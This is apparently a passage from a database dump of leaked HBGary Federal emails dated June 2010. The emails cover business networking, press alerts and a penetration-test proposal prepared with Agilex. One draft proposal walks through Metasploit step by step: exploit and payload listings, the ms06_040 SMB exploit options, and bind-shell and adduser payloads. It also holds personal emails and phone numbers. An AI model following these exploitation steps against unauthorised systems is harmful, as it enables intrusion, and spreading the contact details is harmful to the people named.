<ted@hbgary.com>','/aaron@hbgary.com/new/1297005585.M114260P14101Q2329.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Information','Did you attach the file?On Jun 16, 2010, at 11:57 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nShould get some good intel.From my iPhoneBegin forwarded message:From: &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt;\r\n\r\nDate: June 16, 2010 11:16:11 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Cc: &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt;\r\n\r\nSubject: RE: InformationSounds like a good idea Aaron.  It&#39;s been too long.  Hope you&#39;re doingwell and business is picking up.  Any word on that DARPA contract you\r\n\r\nwere seeking?  Sluggish is a good characterization.  It&#39;s very puzzling to me.  I&#39;mgoing out to NSA later this week to meet with a friend who is working inCYBERCOM.  Maybe I&#39;ll actually have some information worth sharing.  \r\n\r\nCassie, will you please see if we can schedule a get together?  Tom-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Wednesday, June 16, 2010 9:20 AMTo: Conroy, Thomas W.Subject: InformationHi Tom,I hope all is well.  I had dinner with Kathy and a bunch of other cyber\r\n\r\nfolks last night as part of the  cyber group chaired by Bill Varner.  Iwas a bit of an odd ball in that I don&#39;t own significant cyber businessbut hope to be able to contribute in other ways.\r\n\r\nAnyway, last time we met you mentioned there was someone you thought Ishould meet, but requested some information.  Attached is our data sheetfor our offerings in information security services as well as a link to\r\n\r\nmy professional profile and a recent interview.Maybe we can get together for lunch again in early July if your around?I would love to get your thoughts on cyber command and the sluggishness\r\n\r\nthat continues around cyber.http://www.linkedin.com/in/aaronbarr3\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security\r\n\r\n-is-a-hunt-an-investigation-it&#39;s-a-challenge/\r\n\r\n',16536,'aaron_hbgary_com/16536.html'),(7475,'2010-06-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005585.M374962P14101Q2330.eml','all@hbgary.com','Today our Relationship with Verdasys was Announced','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFINALLY\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Google Alerts\r\n[mailto:googlealerts-noreply@google.com] \r\nSent: Wednesday, June 16, 2010 7:14 AM\r\nTo: penny@hbgary.com\r\nSubject: Google Alert - hbgary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGoogle Web\r\nAlert for: hbgary\r\n\r\n\r\n \r\n  \r\n  HBGary\r\n  Verdasys to Deliver Enterprise Information Protection ...\r\n  HBGary and Verdasys announced today an integrated enterprise security\r\n  solution to proactively detect and rapidly control the most advanced and\r\n  persistent ...\r\n  newsblaze.com/story/2010061607114000002.../topstory.html\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTip:\r\nUse quotes (&quot;like this&quot;) around a set of words in your query to match\r\nthem exactly.\r\n\r\nRemove\r\nthis alert. \r\nCreate\r\nanother alert. \r\nManage\r\nyour alerts. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5292,'aaron_hbgary_com/5292.html'),(7476,'2010-06-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005585.M640784P14101Q2331.eml','all@hbgary.com','FW: Google Alert - hbgary','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe made businesswireJ\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Google Alerts\r\n[mailto:googlealerts-noreply@google.com] \r\nSent: Wednesday, June 16, 2010 7:17 AM\r\nTo: penny@hbgary.com\r\nSubject: Google Alert - hbgary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGoogle Web\r\nAlert for: hbgary\r\n\r\n\r\n \r\n  \r\n  HBGary\r\n  Verdasys to Deliver Enterprise Information Protection ...\r\n  SACRAMENTO, Calif. &amp; WALTHAM,\r\n  Mass.--(BUSINESS WIRE)--HBGary and Verdasys announced today an\r\n  integrated enterprise security solution to proactively detect ...\r\n  www.businesswire.com/news/home/20100616005975/en\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTip:\r\nUse a minus sign (-) in front of terms in your query that you want to exclude.\r\n\r\nRemove\r\nthis alert. \r\nCreate\r\nanother alert. \r\nManage\r\nyour alerts. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5218,'aaron_hbgary_com/5218.html'),(7477,'2010-06-16','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297005585.M887684P14101Q2332.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Information','A good interview Aaron.  I enjoyed reading it.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 16, 2010 9:20 AM\r\nTo: Conroy, Thomas W.\r\nSubject: Information\r\n\r\nHi Tom,\r\n\r\nI hope all is well.  I had dinner with Kathy and a bunch of other cyber\r\nfolks last night as part of the  cyber group chaired by Bill Varner.  I\r\nwas a bit of an odd ball in that I don\'t own significant cyber business\r\nbut hope to be able to contribute in other ways.\r\n\r\nAnyway, last time we met you mentioned there was someone you thought I\r\nshould meet, but requested some information.  Attached is our data sheet\r\nfor our offerings in information security services as well as a link to\r\nmy professional profile and a recent interview.\r\n\r\nMaybe we can get together for lunch again in early July if your around?\r\nI would love to get your thoughts on cyber command and the sluggishness\r\nthat continues around cyber.\r\n\r\nhttp://www.linkedin.com/in/aaronbarr3\r\n\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security\r\n-is-a-hunt-an-investigation-it\'s-a-challenge/\r\n',10117,'aaron_hbgary_com/10117.html'),(7478,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005586.M514553P14101Q2333.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>','Re: Notes from call with Ira','I haven\'t heard back from Ira yet.  Can someone send me his phone\r\nnumber so I can call him to discuss the tech prop?  Or is there\r\nanother Agilex point of contact that is working the tech prop that\r\ncould call me at 719-237-8623?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Wed, Jun 16, 2010 at 7:53 AM, Ted Vera  wrote:\r\n> Disregard last email Ira, I restructured my day.  This is my top\r\n> priority task this morning.  Can you give me a call to discuss?  Can\r\n> you also please forward the latest revision of the tech prop?\r\n>\r\n> Thanks,\r\n> Ted\r\n> 719-237-8623\r\n>\r\n>\r\n>\r\n> On Tue, Jun 15, 2010 at 11:57 AM, Ted Vera  wrote:\r\n>> HBGary shall conduct a blind penetration test:\r\n>> Defined rules of engagement\r\n>> We try to hack our way in\r\n>> Provide an outbrief and report on findings and recommendations\r\n>>\r\n>> Action items for us:\r\n>> We need to help Agilex get the proposal in.\r\n>> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n>> Pentest shall be conducted in August (start on/about the 9th)\r\n>> Another call will be scheduled on June 22nd to tag up and make sure\r\n>> everything is on track.\r\n>>\r\n>> Agilex shall:\r\n>> Conduct a vulnerability assessment and security audit\r\n>> Not a blind study, but rather full knowledge of system and controls\r\n>> Oracle expert conducts security analysis\r\n>> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n>> Unavailable Jul 12th.\r\n>> Is it possible to get on contract that quickly?  What needs to be done\r\n>> to get him in the door?\r\n>> Testing is approved for July, customer can support this schedule.\r\n>>\r\n>> Note: Government is closed Monday July 5th.\r\n>>\r\n>> Ira:  If the customer cannot meet the procurement schedule and you are\r\n>> forced to find a new Oracle expert, I know a few people who may be\r\n>> able to help, if you\'re open to subbing the work.\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4794,'aaron_hbgary_com/4794.html'),(7479,'2010-06-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005586.M755352P14101Q2334.eml','\"Bob Slapnik\" <bob@hbgary.com>','','Barbara.Thomson@us.army.mil\r\n\r\nSent from my iPad\r\n',3908,'aaron_hbgary_com/3908.html'),(7480,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005586.M970335P14101Q2335.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>','Draft Content','Below is the draft content I have so far.  I\'ll continue to work on it\r\nuntil I receive further direction:\r\n\r\nTECHNICAL CAPABILITIES:\r\nHBGary is in the risk mitigation market specifically focusing on the\r\nproblem of corporate espionage and computer crime. Everyday,\r\nintellectual property, financial data, trade secrets and assets of\r\ncompanies are taken by employees, competitors, countries and funded\r\nadversaries. The development of a global economy has fueled the huge\r\nexpansion of information technology. Massively interconnected systems,\r\nincluding the global Internet, deliver information to more people\r\nfaster. Because of globalization and competition, there is an\r\nincreased need to have access to critical information first.\r\nUnauthorized access to information is made possible by faulty software\r\nand lack of security controls. As the global economy develops, so does\r\nthe demand for competitive intelligence. Today, malicious backdoors,\r\ntrojans, botnets, and stealth rootkits (collectively known as malware)\r\nhave unlimited access to our networks. Employees are “recruited” based\r\nupon their access to information to steal for money or a cause. It has\r\nbecome easier than ever to get access to classified, controlled or\r\nproprietary information. Intellectual property such as product\r\ndesigns, marketing plans, customer lists, and government intelligence\r\nis being stolen daily. It is estimated that 70% of the average\r\nenterprises value is held in its information. The current FBI estimate\r\nis that over $100 billion is being lost annually due to theft of\r\nintellectual property. HBGary was founded in 2003 to help solve the\r\nproblem. We have developed advanced software security technologies to\r\nactively assess information risks in deployed applications, stealthily\r\nmonitor information systems for external and internal threats, perform\r\nvulnerability assessments, penetration tests, and post-exploitation\r\nforensics with dynamic analysis of malware and live running software.\r\nIn today’s uncertain world, HBGary helps you assess the risks and\r\ngives solutions to help gain additional information in order to make a\r\nsound decision.\r\n\r\nTECHNICAL PLAN (#3 PERFORM PENETRATION TESTING)\r\nPenetration testing shall consist of the following three activities:\r\nPlanning, Attack, Documentation.  During the Planning activity we\r\nshall work with the customer to establish and document the Rules of\r\nEngagement (ROE). The Rules of Engagement are used to define the\r\nscope, attack tools, types of attacks, any customer specified\r\nactivities that are not allowed during the penetration test. The scope\r\nmay include the IP addresses of devices which testers are allowed to\r\nattack as shall include any IPs that are off-limits for testing.  The\r\nROE will establish procedures on how potentially sensitive data (ie:\r\npasswords, personal identifying information, financials, etc)\r\nencountered by the test team will be disclosed and treated.  A\r\nteleconference will be held on June 28, 2010 to review the Rules of\r\nEngagement template. The template will be filled in with our initial\r\nrecommendations based upon our understanding of the customer\r\nrequirements as stated in the RFP and preliminary discussions.\r\nRevisions will be made during the call and the final ROE documented\r\nwill be provided to the customer for final review and approval.\r\n\r\nDuring the Attack activity, we shall enumerate vulnerabilities and\r\nattempt to exploit them using COTS, open source and custom-developed\r\nexploit tools including but not limited to cross site scripting, SQL\r\ninjection, URL manipulation, session hijacking, buffer overflow,\r\nauthentication, and other attacks. To enumerate vulnerabilities the\r\ntest team will utilize scanning tools such as nmap to identify ports\r\nand services that are in use on the network. The test team will not\r\nscan or otherwise interact with those systems that are specifically\r\nexluded from the test per the ROE.\r\n\r\nHBGary utilizes the Metasploit Framework, an open-source penetration\r\ntesting tool to launch most attacks.  The Metasploit Framework is\r\nmodular, allowing HBGary to easily create and add new attack modules.\r\nTo exploit a system utilizing Metasploit the msfconsole will be\r\nexecuted on an attack machine (HBGary provided laptops).  The show\r\nexploits command will then be executed to show the available exploits\r\nutilized by Metasploit.  The following example list shows a small\r\nsample of the current exploits available:\r\n\r\n   Name\r\n       Rank       Description\r\n   ----\r\n           ----       -----------\r\n   aix/rpc_cmsd_opcode21\r\ngreat      AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21\r\nBuffer Overflow\r\n   irix/lpd/tagprinter_exec\r\nexcellent  Irix LPD tagprinter Command Execution\r\n   linux/http/alcatel_omnipcx_mastercgi_exec\r\nexcellent  Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary\r\nCommand Execution\r\n   multi/browser/java_signed_applet\r\nexcellent  Signed Applet Social Engineering Code Exec\r\n   multi/browser/mozilla_compareto\r\nnormal     Mozilla Suite/Firefox InstallVersion->compareTo() Code\r\nExecution\r\n   osx/mdns/upnp_location\r\naverage    Mac OS X mDNSResponder UPnP Location Overflow\r\n   osx/rtsp/quicktime_rtsp_content_type\r\naverage    MacOS X QuickTime RTSP Content-Type Overflow\r\n   solaris/samba/lsa_transnames_heap\r\naverage    Samba lsa_io_trans_names Heap Overflow\r\n   solaris/samba/trans2open\r\ngreat      Samba trans2open Overflow (Solaris SPARC)\r\n   unix/misc/distcc_exec\r\nexcellent  DistCC Daemon Command Execution\r\n   windows/antivirus/trendmicro_serverprotect_earthagent          good\r\n      Trend Micro ServerProtect 5.58 EarthAgent.EXE Buffer Overflow\r\n   windows/arkeia/type77                                          good\r\n      Arkeia Backup Client Type 77 Overflow (Win32)\r\n   windows/backdoor/energizer_duo_payload\r\nexcellent  Energizer DUO Trojan Code Execution\r\n\r\nHBGary has hundreds of Metasploit plugins, and this list can be\r\nexpanded by adding additional exploit modules to the Metasploit\r\nframework.  From the list an appropriate exploit is then loaded from\r\nthe list using the use command which accepts the exploit name from the\r\nlist.  A list of options available to the loaded exploit is then\r\nprovided through the show options command.  For example if the\r\nwindows/smb/ms06_040_netapi for Microsoft Server Service\r\nNetpwPathCanonicalize Overflow is used.  The options would appear as\r\nfollows :\r\n\r\nModule options:\r\n\r\n   Name     Current Setting  Required  Description\r\n   ----     ---------------  --------  -----------\r\n   RHOST                     yes       The target address\r\n   RPORT    445              yes       Set the SMB service port\r\n   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   (wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)\r\n\r\nFrom the options available the required options would be set.  The\r\nRHOST option in this example would need to be set to the appropriate\r\ntarget IP found during the discovery phase.  This would be done\r\nthrough the set command as \"set RHOST \".  Once this option\r\nhas been set and verified as correct using the show options command\r\nagain the list of available payloads would be listed through the use\r\nof the show payloads command. The following example list shows a small\r\nsample of the current payloads available to this example payload :\r\n\r\n   Name                                             Rank    Description\r\n   ----                                             ----    -----------\r\n   generic/debug_trap                               normal  Generic\r\nx86 Debug Trap\r\n   generic/shell_bind_tcp                           normal  Generic\r\nCommand Shell, Bind TCP Inline\r\n   windows/adduser                                  normal  Windows\r\nExecute net user /ADD\r\n   windows/dllinject/bind_ipv6_tcp                  normal  Reflective\r\nDll Injection, Bind TCP Stager (IPv6)\r\n   windows/meterpreter/reverse_https                normal  Windows\r\nMeterpreter (Reflective Injection), Reverse HTTPS Stager\r\n   windows/patchupvncinject/bind_ipv6_tcp           normal  Windows\r\nVNC Inject (skape/jt injection), Bind TCP Stager (IPv6)\r\n   windows/vncinject/bind_ipv6_tcp                  normal  VNC Server\r\n(Reflective Injection), Bind TCP Stager (IPv6)\r\n\r\nThis list can be expanded by loading additional payload modules into\r\nthe Metasploit framework.  These payloads can also be custom built if\r\none is not available and loaded into the framework as well.   For\r\nexample to load the generic/shell_bind_tcp payload for use of Command\r\nShell, Bind TCP Inline the set PAYLOAD command is used handing in the\r\nname of the payload.  Once the payload is loaded the options can then\r\nbe displayed for use with the payload by executing the show options\r\ncommand again :\r\n\r\nModule options:\r\n\r\n   Name     Current Setting  Required  Description\r\n   ----     ---------------  --------  -----------\r\n   RHOST    10.0.1.1         yes       The target address\r\n   RPORT    445              yes       Set the SMB service port\r\n   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)\r\n\r\n\r\nPayload options (generic/shell_bind_tcp):\r\n\r\n   Name   Current Setting  Required  Description\r\n   ----   ---------------  --------  -----------\r\n   LPORT  4444             yes       The listen port\r\n   RHOST  10.0.1.1         no        The target address\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   (wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)\r\n\r\nOnce all settings for the payload that are required are set and any\r\nadditional options set and verified the exploit is then executed by\r\ncalling the exploit command.  Upon successful system exploitation, we\r\nwill attempt to escalate permissions and attack adjacent systems.\r\n\r\nDuring the Documentation activity, we will write the Penetration Test\r\nReport which contains the vulnerabilities identified, attacks\r\nattempted, successful attacks, level of effort and technical\r\nsophistication required for each successful attack,  and\r\nrecommendations for securing the system(s).\r\n',14262,'aaron_hbgary_com/14262.html'),(7481,'2010-06-16','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>','/aaron@hbgary.com/new/1297005588.M27122P14101Q2336.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','RE: Notes from call with Ira','Ted,\r\n\r\nAttached is the draft of the technical proposal. Please use Track Changes when working on this document. Don\'t worry about inserting the past performance or resumes. Please just send them to me and I will incorporate into the document.\r\n\r\nFrom our conversation, I\'ll check to see if any special pricing formats are needed from you. \r\n\r\nThanks,\r\nMari Jo\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, June 16, 2010 1:44 PM\r\nTo: Barr Aaron; Ira Entis; Jerry McClure; Mari Jo Boynton\r\nSubject: Re: Notes from call with Ira\r\n\r\nI haven\'t heard back from Ira yet.  Can someone send me his phone\r\nnumber so I can call him to discuss the tech prop?  Or is there\r\nanother Agilex point of contact that is working the tech prop that\r\ncould call me at 719-237-8623?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Wed, Jun 16, 2010 at 7:53 AM, Ted Vera  wrote:\r\n> Disregard last email Ira, I restructured my day.  This is my top\r\n> priority task this morning.  Can you give me a call to discuss?  Can\r\n> you also please forward the latest revision of the tech prop?\r\n>\r\n> Thanks,\r\n> Ted\r\n> 719-237-8623\r\n>\r\n>\r\n>\r\n> On Tue, Jun 15, 2010 at 11:57 AM, Ted Vera  wrote:\r\n>> HBGary shall conduct a blind penetration test:\r\n>> Defined rules of engagement\r\n>> We try to hack our way in\r\n>> Provide an outbrief and report on findings and recommendations\r\n>>\r\n>> Action items for us:\r\n>> We need to help Agilex get the proposal in.\r\n>> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n>> Pentest shall be conducted in August (start on/about the 9th)\r\n>> Another call will be scheduled on June 22nd to tag up and make sure\r\n>> everything is on track.\r\n>>\r\n>> Agilex shall:\r\n>> Conduct a vulnerability assessment and security audit\r\n>> Not a blind study, but rather full knowledge of system and controls\r\n>> Oracle expert conducts security analysis\r\n>> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n>> Unavailable Jul 12th.\r\n>> Is it possible to get on contract that quickly?  What needs to be done\r\n>> to get him in the door?\r\n>> Testing is approved for July, customer can support this schedule.\r\n>>\r\n>> Note: Government is closed Monday July 5th.\r\n>>\r\n>> Ira:  If the customer cannot meet the procurement schedule and you are\r\n>> forced to find a new Oracle expert, I know a few people who may be\r\n>> able to help, if you\'re open to subbing the work.\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16700,'aaron_hbgary_com/16700.html'),(7482,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005588.M661147P14101Q2337.eml','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,,','Re: Notes from call with Ira','During preliminary discussions we talked about conducting the test\r\nremotely vs. on-site.  Was a decision made on this?  Should we plan to\r\ntravel to the customer site, or can we conduct the PT remotely from\r\nour offices?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Wed, Jun 16, 2010 at 12:46 PM, Mari Jo Boynton\r\n wrote:\r\n> Ted,\r\n>\r\n> Attached is the draft of the technical proposal. Please use Track Changes when working on this document. Don\'t worry about inserting the past performance or resumes. Please just send them to me and I will incorporate into the document.\r\n>\r\n> From our conversation, I\'ll check to see if any special pricing formats are needed from you.\r\n>\r\n> Thanks,\r\n> Mari Jo\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Wednesday, June 16, 2010 1:44 PM\r\n> To: Barr Aaron; Ira Entis; Jerry McClure; Mari Jo Boynton\r\n> Subject: Re: Notes from call with Ira\r\n>\r\n> I haven\'t heard back from Ira yet.  Can someone send me his phone\r\n> number so I can call him to discuss the tech prop?  Or is there\r\n> another Agilex point of contact that is working the tech prop that\r\n> could call me at 719-237-8623?\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Wed, Jun 16, 2010 at 7:53 AM, Ted Vera  wrote:\r\n>> Disregard last email Ira, I restructured my day.  This is my top\r\n>> priority task this morning.  Can you give me a call to discuss?  Can\r\n>> you also please forward the latest revision of the tech prop?\r\n>>\r\n>> Thanks,\r\n>> Ted\r\n>> 719-237-8623\r\n>>\r\n>>\r\n>>\r\n>> On Tue, Jun 15, 2010 at 11:57 AM, Ted Vera  wrote:\r\n>>> HBGary shall conduct a blind penetration test:\r\n>>> Defined rules of engagement\r\n>>> We try to hack our way in\r\n>>> Provide an outbrief and report on findings and recommendations\r\n>>>\r\n>>> Action items for us:\r\n>>> We need to help Agilex get the proposal in.\r\n>>> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n>>> Pentest shall be conducted in August (start on/about the 9th)\r\n>>> Another call will be scheduled on June 22nd to tag up and make sure\r\n>>> everything is on track.\r\n>>>\r\n>>> Agilex shall:\r\n>>> Conduct a vulnerability assessment and security audit\r\n>>> Not a blind study, but rather full knowledge of system and controls\r\n>>> Oracle expert conducts security analysis\r\n>>> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n>>> Unavailable Jul 12th.\r\n>>> Is it possible to get on contract that quickly?  What needs to be done\r\n>>> to get him in the door?\r\n>>> Testing is approved for July, customer can support this schedule.\r\n>>>\r\n>>> Note: Government is closed Monday July 5th.\r\n>>>\r\n>>> Ira:  If the customer cannot meet the procurement schedule and you are\r\n>>> forced to find a new Oracle expert, I know a few people who may be\r\n>>> able to help, if you\'re open to subbing the work.\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10602,'aaron_hbgary_com/10602.html'),(7483,'2010-06-16','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005588.M879199P14101Q2338.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: Notes from call with Ira','I think that we plan X # of trips to the client (at cost to them above the hours we have)\r\n\r\nup to 2 trips?\r\n\r\n\r\nOn Jun 16, 2010, at 3:04 PM, Ted Vera wrote:\r\n\r\nDuring preliminary discussions we talked about conducting the test\r\nremotely vs. on-site.  Was a decision made on this?  Should we plan to\r\ntravel to the customer site, or can we conduct the PT remotely from\r\nour offices?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Wed, Jun 16, 2010 at 12:46 PM, Mari Jo Boynton\r\n wrote:\r\n> Ted,\r\n> \r\n> Attached is the draft of the technical proposal. Please use Track Changes when working on this document. Don\'t worry about inserting the past performance or resumes. Please just send them to me and I will incorporate into the document.\r\n> \r\n> From our conversation, I\'ll check to see if any special pricing formats are needed from you.\r\n> \r\n> Thanks,\r\n> Mari Jo\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Wednesday, June 16, 2010 1:44 PM\r\n> To: Barr Aaron; Ira Entis; Jerry McClure; Mari Jo Boynton\r\n> Subject: Re: Notes from call with Ira\r\n> \r\n> I haven\'t heard back from Ira yet.  Can someone send me his phone\r\n> number so I can call him to discuss the tech prop?  Or is there\r\n> another Agilex point of contact that is working the tech prop that\r\n> could call me at 719-237-8623?\r\n> \r\n> Thanks,\r\n> Ted\r\n> \r\n> \r\n> \r\n> On Wed, Jun 16, 2010 at 7:53 AM, Ted Vera  wrote:\r\n>> Disregard last email Ira, I restructured my day.  This is my top\r\n>> priority task this morning.  Can you give me a call to discuss?  Can\r\n>> you also please forward the latest revision of the tech prop?\r\n>> \r\n>> Thanks,\r\n>> Ted\r\n>> 719-237-8623\r\n>> \r\n>> \r\n>> \r\n>> On Tue, Jun 15, 2010 at 11:57 AM, Ted Vera  wrote:\r\n>>> HBGary shall conduct a blind penetration test:\r\n>>> Defined rules of engagement\r\n>>> We try to hack our way in\r\n>>> Provide an outbrief and report on findings and recommendations\r\n>>> \r\n>>> Action items for us:\r\n>>> We need to help Agilex get the proposal in.\r\n>>> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n>>> Pentest shall be conducted in August (start on/about the 9th)\r\n>>> Another call will be scheduled on June 22nd to tag up and make sure\r\n>>> everything is on track.\r\n>>> \r\n>>> Agilex shall:\r\n>>> Conduct a vulnerability assessment and security audit\r\n>>> Not a blind study, but rather full knowledge of system and controls\r\n>>> Oracle expert conducts security analysis\r\n>>> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n>>> Unavailable Jul 12th.\r\n>>> Is it possible to get on contract that quickly?  What needs to be done\r\n>>> to get him in the door?\r\n>>> Testing is approved for July, customer can support this schedule.\r\n>>> \r\n>>> Note: Government is closed Monday July 5th.\r\n>>> \r\n>>> Ira:  If the customer cannot meet the procurement schedule and you are\r\n>>> forced to find a new Oracle expert, I know a few people who may be\r\n>>> able to help, if you\'re open to subbing the work.\r\n>>> \r\n>> \r\n>> \r\n>> \r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>> \r\n> \r\n> \r\n> \r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n> \r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n',5155,'aaron_hbgary_com/5155.html'),(7484,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005589.M372293P14101Q2340.eml','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,Ira.Entis@agilex.com,\"Barr Aaron\" <aaron@hbgary.com>','Re: Pricing for LANL','We estimate travel costs at $1866:\r\n\r\nOne trip, two travellers.\r\nFrom Denver CO to Albuquerque NM\r\nDepart Aug 8th, return Aug 14th.\r\n\r\n$933 per person includes two airline tickets, one rental car and one\r\nhotel room which we will share.\r\n\r\nTed\r\n\r\n\r\n\r\n\r\nOn Wed, Jun 16, 2010 at 1:09 PM, Mari Jo Boynton\r\n wrote:\r\n> Ted,\r\n>\r\n> I spoke to our contracts/pricing and we do not need any special format from you, just the following:\r\n> (1) Confirmation that your hourly rate is $194/hour\r\n> (2) Estimate on travel\r\n> (3) Confirmation that no software purchases or pricing is necessary.\r\n>\r\n> Thanks,\r\n> Mari Jo\r\n>\r\n> -----Original Message-----\r\n> From: Ira Entis\r\n> Sent: Wednesday, June 16, 2010 3:06 PM\r\n> To: Ted Vera\r\n> Cc: Mari Jo Boynton; Barr Aaron; Jerry McClure\r\n> Subject: Re: Notes from call with Ira\r\n>\r\n> I think that we plan X # of trips to the client (at cost to them above the hours we have)\r\n>\r\n> up to 2 trips?\r\n>\r\n>\r\n> On Jun 16, 2010, at 3:04 PM, Ted Vera wrote:\r\n>\r\n> During preliminary discussions we talked about conducting the test\r\n> remotely vs. on-site.  Was a decision made on this?  Should we plan to\r\n> travel to the customer site, or can we conduct the PT remotely from\r\n> our offices?\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Wed, Jun 16, 2010 at 12:46 PM, Mari Jo Boynton\r\n>  wrote:\r\n>> Ted,\r\n>>\r\n>> Attached is the draft of the technical proposal. Please use Track Changes when working on this document. Don\'t worry 